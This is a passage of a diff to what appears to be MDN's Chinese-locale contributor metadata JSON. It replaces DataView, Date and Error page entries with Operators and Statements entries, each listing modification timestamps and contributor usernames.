"maoyumaoxun", + "ywjco", + "xgqfrms-GitHub", + "huguangju", + "xuzhijun", + "yenshen", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setBigInt64": { - "modified": "2020-10-15T22:24:55.568Z", + "Web/JavaScript/Reference/Global_Objects/parseInt": { + "modified": "2020-12-04T02:14:06.997Z", "contributors": [ - "wenshui2008" + "熊英明", + "liuy666", + "zhuguibiao", + "SAYHISAYHI", + "jjc", + "frankfang1990", + "pantao", + "liuzhengdong", + "lmislm", + "Roland_Reed", + "Eurkidu", + "Mars687", + "cyancity", + "BrightLD", + "hua03", + "ywjco", + "lcxmaple", + "weicaiyue", + "righttoe", + "xgqfrms-GitHub", + "xiaohangJose", + "PengyuanJiang", + "xuzhijun", + "du0m0", + "XingxianLI", + "teoli", + "AlexChao", + "Mickeyboy" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setBigUint64": { - "modified": "2020-10-15T22:24:53.419Z", + "Web/JavaScript/Reference/Global_Objects/undefined": { + "modified": "2020-10-15T21:21:19.165Z", "contributors": [ - "wenshui2008" + "wallena3", + "lizhongzhen11", + "ywjco", + "fzhw88", + "zhuangyin", + "WJ941", + "ervinewell", + "kameii", + "Jiang-Xuan", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setFloat32": { - "modified": "2020-10-15T21:49:50.076Z", + "Web/JavaScript/Reference/Global_Objects/unescape": { + "modified": "2020-12-10T01:27:00.332Z", "contributors": [ - "fscholz", - "Taoja" + "stefango", + "zhangchen", + "ZivHe", + "Jiang-Xuan", + "Ende93" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setFloat64": { - "modified": "2020-10-15T21:49:50.505Z", + "Web/JavaScript/Reference/Global_Objects/uneval": { + "modified": "2020-10-15T21:40:49.845Z", "contributors": [ - "farteryhr", - "fscholz", - "Taoja" + "zhangchen", + "imnodb", + "codert", + "Vincent.Yu" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setInt16": { - "modified": "2020-10-15T21:49:50.736Z", + "Web/JavaScript/Reference/Iteration_protocols": { + "modified": "2020-11-16T00:41:30.233Z", "contributors": [ - "fscholz", - "Taoja" + "wubaodong", + "Mr_kaze", + "Clarkkkk", + "DengZhihao", + "RainSlide", + "wangxiujuni", + "houzp", + "edward12699", + "luohe", + "Shigma", + "yueshuiniao", + "isLishude", + "xgqfrms-GitHub", + "kdex", + "bnerDY", + "xgqfrms", + "m31271n.", + "jiraiya", + "harttle", + "holajiawei", + "zbinlin", + "panhezeng", + "Qcui", + "Ende93", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setInt32": { - "modified": "2020-10-15T21:49:50.027Z", + "Web/JavaScript/Reference/Lexical_grammar": { + "modified": "2020-10-15T21:37:37.250Z", "contributors": [ - "fscholz", - "Taoja" + "wwj402", + "RainSlide", + "jiangxin123", + "mistoken", + "DrndwX", + "VdoG", + "eforegist", + "Hitomichan", + "jiahui", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setInt8": { - "modified": "2020-10-15T21:37:32.797Z", + "Web/JavaScript/Reference/Operators": { + "modified": "2020-11-11T01:18:14.844Z", "contributors": [ - "fscholz", - "Taoja", - "mzhejiayu" + "Liugq5713", + "Ende93", + "ourai", + "zhangchen", + "zxsunrise", + "ZTFtrue", + "yangzx", + "xgqfrms-GitHub", + "imhaohao", + "Meteormatt", + "tim.liu", + "lunix01", + "Go7hic", + "yenshen", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setUint16": { - "modified": "2020-10-15T21:49:49.541Z", + "Web/JavaScript/Reference/Operators/Addition_assignment": { + "modified": "2020-10-15T22:32:22.325Z", "contributors": [ - "fscholz", - "Taoja" + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setUint32": { - "modified": "2020-10-15T21:49:50.144Z", + "Web/JavaScript/Reference/Operators/Assignment": { + "modified": "2020-10-15T22:32:28.366Z", "contributors": [ - "fscholz", - "Taoja" + "longfangsong", + "hellorayza", + "yemao", + "Linuocc" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setUint8": { - "modified": "2020-10-15T21:49:48.203Z", + "Web/JavaScript/Reference/Operators/Bitwise_AND_assignment": { + "modified": "2020-10-15T22:34:19.309Z", "contributors": [ - "fscholz", - "Taoja" + "Eric_lc", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date": { - "modified": "2020-10-19T08:07:05.768Z", + "Web/JavaScript/Reference/Operators/Bitwise_NOT": { + "modified": "2020-10-15T22:34:23.865Z", "contributors": [ - "SphinxKnight", - "songzeng2016", - "ZhangXianWei", - "johnao", - "oujielong", - "striveyan", - "fefe982", - "Mr_z", - "litmonw", - "RainSlide", - "jackylz", - "fscholz", - "VAN666", - "liuzeyafzy", - "whinc", - "sharp-c", - "distums", - "helloguangxue", - "zhang384579631", - "yenshen", - "fuchao2012", - "hikarievo", - "teoli", - "littleVege", - "AlexChao", - "ziyunfei", - "liminjun", - "confusedwu", - "Mickeyboy", - "Mgjbot" + "Eric_lc", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/@@toPrimitive": { - "modified": "2020-10-15T22:06:53.986Z", + "Web/JavaScript/Reference/Operators/Bitwise_OR": { + "modified": "2020-10-15T22:34:22.155Z", "contributors": [ - "pea3nut" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/Date": { - "modified": "2020-10-15T22:28:18.123Z", + "Web/JavaScript/Reference/Operators/Bitwise_OR_assignment": { + "modified": "2020-10-15T22:34:21.154Z", "contributors": [ - "lztom2046" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/UTC": { - "modified": "2020-10-15T21:28:25.934Z", + "Web/JavaScript/Reference/Operators/Bitwise_XOR": { + "modified": "2020-10-15T22:34:22.385Z", "contributors": [ - "tclzcja", - "fscholz", - "Hugh", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getDate": { - "modified": "2020-10-15T21:03:50.488Z", + "Web/JavaScript/Reference/Operators/Bitwise_XOR_assignment": { + "modified": "2020-10-15T22:34:23.846Z", "contributors": [ - "hsqin", - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getDay": { - "modified": "2020-10-15T21:03:58.429Z", + "Web/JavaScript/Reference/Operators/Comma_Operator": { + "modified": "2020-10-15T21:32:06.908Z", "contributors": [ - "HFatBird", - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "zhangchen", + "xgqfrms-GitHub", + "ontheway1215", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": { - "modified": "2020-10-15T21:03:49.040Z", + "Web/JavaScript/Reference/Operators/Conditional_Operator": { + "modified": "2020-10-15T21:37:34.292Z", "contributors": [ - "fscholz", + "wendy260310", + "dadan", + "KnightYin", + "pluwen", "zhangchen", - "xqin", - "teoli", - "AlexChao", - "ziyunfei" + "ziyunfei", + "Ende93", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getHours": { - "modified": "2020-10-15T21:03:54.198Z", + "Web/JavaScript/Reference/Operators/Destructuring_assignment": { + "modified": "2020-10-15T21:34:33.159Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "fanerge", + "kidonng", + "Aaron-Bird", + "zhuziyi", + "ZeroWhiteSmile", + "RainSlide", + "zhangchen", + "tosmaller", + "a-pple", + "FideoJ", + "xgqfrms-GitHub", + "XHMM", + "kdex", + "Jiasm", + "jerryni", + "LeoEatle", + "donyaw", + "starriv", + "TiaossuP", + "WeRDyin", + "panhezeng", + "jiahui", + "pjsong", + "zilong-thu", + "lunix01", + "ziyunfei", + "fskuok" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": { - "modified": "2020-10-15T21:03:36.395Z", + "Web/JavaScript/Reference/Operators/Division": { + "modified": "2020-10-18T03:29:08.158Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "MapMaths", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": { - "modified": "2020-10-15T21:03:39.835Z", + "Web/JavaScript/Reference/Operators/Division_assignment": { + "modified": "2020-10-15T22:34:21.674Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getMonth": { - "modified": "2020-10-15T21:03:43.325Z", + "Web/JavaScript/Reference/Operators/Exponentiation": { + "modified": "2020-10-18T04:06:14.289Z", "contributors": [ - "fscholz", - "viko16", - "Ende93", - "teoli", - "AlexChao", - "ziyunfei" + "MapMaths", + "xeunglay", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": { - "modified": "2020-10-15T21:03:45.760Z", + "Web/JavaScript/Reference/Operators/Exponentiation_assignment": { + "modified": "2020-10-15T22:34:25.557Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getTime": { - "modified": "2020-10-15T21:28:11.731Z", + "Web/JavaScript/Reference/Operators/Greater_than": { + "modified": "2020-10-15T22:32:32.486Z", "contributors": [ - "YISHI", - "fscholz", - "Ende93", - "AlexChao", - "ziyunfei" + "jarirliu" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": { - "modified": "2020-10-15T21:28:12.331Z", + "Web/JavaScript/Reference/Operators/Greater_than_or_equal": { + "modified": "2020-10-15T22:32:26.171Z", "contributors": [ - "daix6", - "fscholz", - "AlexChao" + "ziyunfei", + "shishana" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": { - "modified": "2020-10-15T21:33:57.569Z", + "Web/JavaScript/Reference/Operators/Grouping": { + "modified": "2020-10-15T21:32:23.898Z", "contributors": [ - "fscholz", - "saintwinkle" + "RainSlide", + "Idealist_EZ", + "zhangchen", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": { - "modified": "2020-10-15T21:33:56.103Z", + "Web/JavaScript/Reference/Operators/Increment": { + "modified": "2020-11-14T04:00:24.472Z", "contributors": [ - "fscholz", - "saintwinkle" + "seanhuai", + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": { - "modified": "2020-10-15T21:33:57.710Z", + "Web/JavaScript/Reference/Operators/Inequality": { + "modified": "2020-10-18T04:16:16.608Z", "contributors": [ - "fscholz", - "saintwinkle" + "MapMaths", + "YeahPotato" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": { - "modified": "2020-10-15T21:34:04.488Z", + "Web/JavaScript/Reference/Operators/Left_shift": { + "modified": "2020-10-15T22:34:24.967Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": { - "modified": "2020-10-15T21:34:05.550Z", + "Web/JavaScript/Reference/Operators/Left_shift_assignment": { + "modified": "2020-10-15T22:34:28.331Z", + "contributors": [ + "laampui" + ] + }, + "Web/JavaScript/Reference/Operators/Less_than": { + "modified": "2020-10-15T22:34:22.220Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": { - "modified": "2020-10-15T21:34:04.468Z", + "Web/JavaScript/Reference/Operators/Less_than_or_equal": { + "modified": "2020-10-15T22:32:26.501Z", "contributors": [ - "fscholz", - "saintwinkle" + "shishana" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": { - "modified": "2020-10-15T21:34:04.629Z", + "Web/JavaScript/Reference/Operators/Logical_AND_assignment": { + "modified": "2020-10-15T22:34:22.943Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": { - "modified": "2020-10-15T21:34:04.630Z", + "Web/JavaScript/Reference/Operators/Logical_NOT": { + "modified": "2020-10-15T22:34:26.449Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getYear": { - "modified": "2020-10-15T21:28:12.583Z", + "Web/JavaScript/Reference/Operators/Logical_OR": { + "modified": "2020-10-15T22:34:22.730Z", "contributors": [ - "fscholz", - "Edith_Ren", - "teoli", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/now": { - "modified": "2020-10-15T21:21:13.943Z", + "Web/JavaScript/Reference/Operators/Logical_OR_assignment": { + "modified": "2020-10-15T22:34:21.861Z", "contributors": [ - "RainSlide", - "fscholz", - "Ende93", - "AlexChao", - "ziyunfei", - "teoli", - "StuPig" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/parse": { - "modified": "2020-10-15T21:28:30.337Z", + "Web/JavaScript/Reference/Operators/Logical_nullish_assignment": { + "modified": "2020-10-15T22:33:59.629Z", "contributors": [ - "lyh2668", - "fscholz", - "Tao-Quixote", - "hkuclion", - "distums", - "gqqnbig", - "yeliex", - "AlexChao" + "JoshOY" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/prototype": { - "modified": "2020-10-15T21:28:32.786Z", + "Web/JavaScript/Reference/Operators/Multiplication": { + "modified": "2020-10-15T22:34:23.887Z", "contributors": [ - "zhangchen", - "imgss", - "fscholz", - "regiondavid", - "mage3k", - "Cattla", - "teoli", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setDate": { - "modified": "2020-10-15T21:28:14.248Z", + "Web/JavaScript/Reference/Operators/Multiplication_assignment": { + "modified": "2020-10-15T22:34:26.770Z", "contributors": [ - "jinger7281", - "fscholz", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": { - "modified": "2020-10-15T21:28:11.404Z", + "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": { + "modified": "2020-10-15T22:25:14.991Z", "contributors": [ - "fscholz", - "AlexChao" + "xgqfrms", + "RainSlide", + "Coink", + "ran" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setHours": { - "modified": "2020-10-15T21:28:14.385Z", + "Web/JavaScript/Reference/Operators/Object_initializer": { + "modified": "2020-10-15T21:37:33.998Z", "contributors": [ - "fscholz", - "AlexChao" + "lengjingify", + "zhangchen", + "xgqfrms-GitHub", + "slimeball", + "williamchu123", + "hitme" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": { - "modified": "2020-10-15T21:28:19.563Z", + "Web/JavaScript/Reference/Operators/Operator_Precedence": { + "modified": "2020-09-26T23:18:03.052Z", "contributors": [ - "fscholz", - "htitme", - "AlexChao" + "taichiyi", + "Linuocc", + "Yang-yibu", + "zsirfs", + "zhangchen", + "ZQH", + "QinZhiNian", + "jianglinjie", + "xhlwill", + "maicss", + "czyin", + "Ende93", + "AlexChao", + "yenshen", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": { - "modified": "2020-10-15T21:28:16.896Z", + "Web/JavaScript/Reference/Operators/Property_Accessors": { + "modified": "2020-10-15T21:37:38.990Z", "contributors": [ - "fscholz", - "AlexChao" + "RainSlide", + "zhangchen", + "isLishude", + "xiaojunzhou", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setMonth": { - "modified": "2020-10-15T21:28:14.760Z", + "Web/JavaScript/Reference/Operators/Remainder_assignment": { + "modified": "2020-10-15T22:34:27.144Z", "contributors": [ - "ZZES_REN", - "fscholz", - "luyouxin84", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": { - "modified": "2020-10-15T21:28:14.577Z", + "Web/JavaScript/Reference/Operators/Right_shift": { + "modified": "2020-11-02T06:18:13.407Z", "contributors": [ - "fscholz", - "AlexChao" + "Boswell", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setTime": { - "modified": "2020-10-15T21:28:10.430Z", + "Web/JavaScript/Reference/Operators/Right_shift_assignment": { + "modified": "2020-10-15T22:34:28.606Z", "contributors": [ - "dylanyg", - "fscholz", - "ziyunfei", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": { - "modified": "2020-10-15T21:34:46.724Z", + "Web/JavaScript/Reference/Operators/Spread_syntax": { + "modified": "2020-11-26T05:06:49.056Z", "contributors": [ - "fscholz", - "rubyisapm" + "superchow", + "NorthWind", + "renfufei", + "fanjieqi", + "kczjczhYue", + "zhangchen", + "maoguojun" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": { - "modified": "2020-10-15T21:48:19.613Z", + "Web/JavaScript/Reference/Operators/Strict_equality": { + "modified": "2020-10-15T22:34:20.707Z", "contributors": [ - "fscholz", - "zachary05" + "LydiaYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": { - "modified": "2020-10-15T21:53:04.641Z", + "Web/JavaScript/Reference/Operators/Strict_inequality": { + "modified": "2020-10-15T22:31:52.866Z", "contributors": [ - "fscholz", - "haijianyang" + "yemao", + "milulelele" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": { - "modified": "2020-10-15T21:55:54.800Z", + "Web/JavaScript/Reference/Operators/Subtraction": { + "modified": "2020-10-15T22:34:24.192Z", "contributors": [ - "fscholz", - "yys" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": { - "modified": "2020-10-15T22:00:10.646Z", + "Web/JavaScript/Reference/Operators/Subtraction_assignment": { + "modified": "2020-10-15T22:34:27.258Z", "contributors": [ - "fscholz", - "LiuYuan" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": { - "modified": "2020-10-15T21:51:40.559Z", + "Web/JavaScript/Reference/Operators/Unary_negation": { + "modified": "2020-10-15T22:34:23.921Z", "contributors": [ - "fscholz", - "wizardforcel", - "Jabinzou" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": { - "modified": "2020-10-15T21:49:40.074Z", + "Web/JavaScript/Reference/Operators/Unary_plus": { + "modified": "2020-10-15T22:34:22.724Z", "contributors": [ - "fscholz", - "wizardforcel", - "petrelselina" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setYear": { - "modified": "2020-10-15T22:29:46.049Z", + "Web/JavaScript/Reference/Operators/Unsigned_right_shift": { + "modified": "2020-10-15T22:34:23.607Z", "contributors": [ - "SDUTWSL" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toDateString": { - "modified": "2020-10-15T21:28:24.093Z", + "Web/JavaScript/Reference/Operators/Unsigned_right_shift_assignment": { + "modified": "2020-10-15T22:34:24.975Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toGMTString": { - "modified": "2020-10-15T21:28:14.066Z", + "Web/JavaScript/Reference/Operators/await": { + "modified": "2020-08-15T05:29:31.365Z", "contributors": [ - "fscholz", - "AlexChao" + "zzzimaple", + "shifenjiandan", + "Syclover-u2400", + "chang-shuai", + "i850", + "shhider", + "xgqfrms-GitHub", + "chenlexing", + "x-cold", + "liuqipeng417" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toISOString": { - "modified": "2020-10-15T21:28:16.900Z", + "Web/JavaScript/Reference/Operators/class": { + "modified": "2020-10-15T21:37:37.172Z", "contributors": [ + "Peidong_Xie", "fscholz", - "AlexChao" + "xgqfrms-GitHub", + "zyq930501", + "ziyunfei", + "sartrey", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toJSON": { - "modified": "2020-10-15T21:28:08.978Z", + "Web/JavaScript/Reference/Operators/delete": { + "modified": "2020-10-15T21:07:30.470Z", "contributors": [ - "fscholz", - "KMKNKK", - "Cattla", - "helloguangxue", - "yenshen", - "Yaty", + "zcdll", + "wallena3", + "zhangchen", + "wendy260310", + "yaksha", + "pyz1989", + "Vincent-yz", + "ucev", + "jamesfancy", + "ZackBee", + "lazybusy", + "Ende93", + "xgqfrms-GitHub", + "xwartz", "AlexChao", - "ziyunfei" + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString": { - "modified": "2020-10-15T21:28:17.098Z", + "Web/JavaScript/Reference/Operators/function": { + "modified": "2020-03-12T19:39:30.038Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao" + "inlics", + "LJJ1996", + "ucev", + "zhuangyin", + "ryanlid", + "xgqfrms-GitHub", + "Ende93", + "AlexChao", + "SphinxKnight", + "nightire" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleString": { - "modified": "2020-10-15T21:28:25.398Z", + "Web/JavaScript/Reference/Operators/function*": { + "modified": "2020-10-15T21:37:40.102Z", "contributors": [ - "fscholz", - "wangerniu", - "liyongleihf2006", - "teoli", - "AlexChao" + "HCSkatana", + "zhangchen", + "chenyeah", + "ShupingLiu", + "ooops", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString": { - "modified": "2020-10-15T21:28:22.937Z", + "Web/JavaScript/Reference/Operators/in": { + "modified": "2020-10-15T21:21:37.099Z", "contributors": [ - "fscholz", + "zhuangyin", + "zhangchen", + "lemonsWen", + "kameii", + "zachary05", + "AlexChao", + "SphinxKnight", "teoli", - "AlexChao" + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toSource": { - "modified": "2020-10-15T22:00:19.218Z", + "Web/JavaScript/Reference/Operators/instanceof": { + "modified": "2020-12-10T01:21:18.307Z", "contributors": [ - "fscholz", - "haipeng.liang" + "xingzhewj", + "Lsnsh", + "kidonng", + "chenzhh", + "helloyong", + "zhangchen", + "LJJ1996", + "Minhow.liu", + "zhuangyin", + "xgqfrms-GitHub", + "ReedSun", + "liudanning", + "xgqfrms", + "SamuraiMe", + "jonkee", + "suffering", + "Ende93", + "jetzhliu", + "floraLam", + "tiansh", + "AlexChao", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toString": { - "modified": "2020-10-15T21:28:13.694Z", + "Web/JavaScript/Reference/Operators/new": { + "modified": "2020-10-15T21:30:30.354Z", "contributors": [ - "yunxu1019", - "fscholz", + "HermitSun", + "lmx-Hexagram", + "wuwensheng1992", + "RainSlide", + "toyflivver", + "nanyang24", + "Akiq2016", + "zhangchen", + "btea", + "zhuangyin", + "TroyMa1990", + "xgqfrms-GitHub", + "pokka", + "ruiM92", + "Ke.shidong", + "yangzi", "yenshen", - "AlexChao" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toTimeString": { - "modified": "2020-10-15T21:28:22.895Z", - "contributors": [ - "fscholz", - "teoli", - "AlexChao" + "fskuok", + "jiacai2050", + "fphonor", + "SphinxKnight", + "TomWan" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toUTCString": { - "modified": "2020-10-15T21:28:16.518Z", + "Web/JavaScript/Reference/Operators/new.target": { + "modified": "2020-10-15T21:39:57.852Z", "contributors": [ - "fscholz", - "chesterchenn", - "AlexChao" + "RoXoM", + "jafck", + "zhangchen", + "sunhengzhe", + "ngtmuzi", + "ccnuzindex" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/valueOf": { - "modified": "2020-10-15T21:28:12.574Z", + "Web/JavaScript/Reference/Operators/super": { + "modified": "2020-10-15T21:34:14.337Z", "contributors": [ - "fscholz", - "Ende93", - "AlexChao", - "ziyunfei" + "jackyqin", + "t.ccydlj", + "woshiqiang1", + "hikigaya58", + "KennyWho", + "Yayure", + "wangmiJM", + "zhangchen", + "xgqfrms-GitHub", + "lvjs", + "saintwinkle" ] }, - "Web/JavaScript/Reference/Global_Objects/Error": { - "modified": "2020-10-15T21:21:49.758Z", + "Web/JavaScript/Reference/Operators/this": { + "modified": "2020-10-15T21:24:16.968Z", "contributors": [ - "GuYue", - "IreneByron", + "Clarkkkk", + "imbant", + "laampui", + "ldsyzjb", + "aaaxiu", + "frankchia", + "usernameisMan", + "Xuemuyang", + "luoxzhg", + "Akiq2016", + "secretmadonna", "zhangchen", - "ZhishengZhao", + "jasonwithjs", + "rollinhup", + "anderson_liu", + "KngZhi", "xgqfrms-GitHub", - "ngtmuzi", - "calidion", + "JJPandari", + "07akioni", + "Cmen", + "bodii", + "Ende93", + "eric183", + "floraLam", "teoli", - "yenshen", - "Maple-Jan", - "evilpie" + "haodut", + "zhanglun", + "jaka", + "JinZheng", + "DaoG" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/Stack": { - "modified": "2020-10-15T22:05:59.371Z", + "Web/JavaScript/Reference/Operators/typeof": { + "modified": "2020-11-25T06:03:35.454Z", "contributors": [ - "Zoeooo", - "gentlelynn" + "zhuangyin", + "AidanDai", + "kidonng", + "levo2165", + "zhangchen", + "huangtt", + "Crazycheng", + "DarkYeahs", + "Bitzo", + "bengfor", + "xgqfrms", + "zachary05", + "auver", + "yufeng", + "AlexChao", + "teoli", + "ziyunfei", + "ethertank" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/columnNumber": { - "modified": "2019-04-02T14:34:45.679Z", + "Web/JavaScript/Reference/Operators/void": { + "modified": "2020-10-15T21:30:34.673Z", "contributors": [ - "teoli", - "buckarooch" + "seiry", + "Yidada", + "zhangchen", + "xycd", + "xgqfrms-GitHub", + "Ende93", + "lunix01", + "yenshen", + "ziyunfei", + "AlexChao", + "SphinxKnight", + "parano" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/fileName": { - "modified": "2019-04-02T14:35:07.280Z", + "Web/JavaScript/Reference/Operators/yield": { + "modified": "2020-10-15T21:26:10.731Z", "contributors": [ + "RedemptioM", + "Yongest", + "Usey95", + "zhangchen", + "lfy55", + "xgqfrms-GitHub", + "AlexChao", + "mountainmoon", "teoli", - "buckarooch" + "lpy" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/lineNumber": { - "modified": "2020-10-15T22:00:20.126Z", + "Web/JavaScript/Reference/Operators/yield*": { + "modified": "2020-10-15T21:32:40.952Z", "contributors": [ - "WayneCui" + "zhangchen", + "xgqfrms-GitHub", + "ccn1010", + "ziyunfei", + "Liyunsheng" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/message": { - "modified": "2019-04-02T14:35:10.524Z", + "Web/JavaScript/Reference/Statements": { + "modified": "2020-11-19T11:54:21.852Z", "contributors": [ + "xgqfrms", + "wwj402", + "RainSlide", + "victor0801x", "yenshen", - "AlexChao" + "Ende93", + "webery", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/name": { - "modified": "2019-07-05T00:02:19.372Z", + "Web/JavaScript/Reference/Statements/Empty": { + "modified": "2020-10-15T21:32:25.866Z", "contributors": [ - "yenshen", - "teoli", - "ziyunfei" + "zhangchen", + "Hugh", + "git123hub", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/prototype": { - "modified": "2019-04-02T14:33:04.306Z", + "Web/JavaScript/Reference/Statements/async_function": { + "modified": "2020-11-26T06:15:48.712Z", "contributors": [ - "ngtmuzi", - "shajiquan" + "superchow", + "Neo42", + "zhangxingeng", + "Irisa", + "brizer", + "icethawless", + "rockan007", + "AppleTenlp", + "gqbre", + "elkfn", + "Hew007", + "Ende93", + "YKG", + "42", + "murphywuwu", + "ntnyq", + "jaredhan418", + "TriStone", + "lmislm", + "toyflivver", + "dudueasy", + "NiroDu", + "awmleer", + "mysmlz", + "Bill0412", + "Jessy.D.", + "zxsunrise", + "pujiaxun", + "biggersun", + "Jiang-Xuan", + "pot-code", + "ofatbird", + "shhider", + "zhangchen", + "xgqfrms-GitHub", + "_da", + "Katherina-Miao" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/toSource": { - "modified": "2020-10-15T22:04:46.786Z", + "Web/JavaScript/Reference/Statements/block": { + "modified": "2020-11-26T06:25:49.649Z", "contributors": [ - "zxsunrise", - "yuchaoWu" + "cikelichu", + "daxiazilong", + "ywjco", + "zhangchen", + "icepro", + "Canaan", + "frankfang1990", + "Cattla", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Error/toString": { - "modified": "2019-04-02T14:43:23.068Z", + "Web/JavaScript/Reference/Statements/break": { + "modified": "2020-11-26T22:14:31.749Z", "contributors": [ + "superchow", + "zhangchen", + "git123hub", + "Poisonloc", "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/EvalError": { - "modified": "2020-10-15T21:15:06.730Z", + "Web/JavaScript/Reference/Statements/class": { + "modified": "2020-10-15T21:40:52.749Z", "contributors": [ - "Tao-Quixote", - "Debugger-D", - "buckarooch", - "slientomorrr", - "teoli", - "Mickeyboy" + "zhangchen", + "LiXin", + "xgqfrms-GitHub", + "AimLuo", + "makebanana", + "ryanlid", + "kdex", + "lixuguang", + "ouonet", + "MrLyp", + "jooyoon", + "webery" ] }, - "Web/JavaScript/Reference/Global_Objects/EvalError/prototype": { - "modified": "2020-10-15T21:59:36.134Z", + "Web/JavaScript/Reference/Statements/const": { + "modified": "2020-11-20T09:29:05.867Z", "contributors": [ - "hwj" + "zhuangyin", + "Snailight", + "niices", + "RainSlide", + "Jat", + "zhangchen", + "winjeysong", + "myl0204", + "xgqfrms-GitHub", + "shifengchen", + "Go7hic", + "zhe13", + "webery", + "lunix01", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/FinalizationRegistry": { - "modified": "2020-10-15T22:33:55.419Z", + 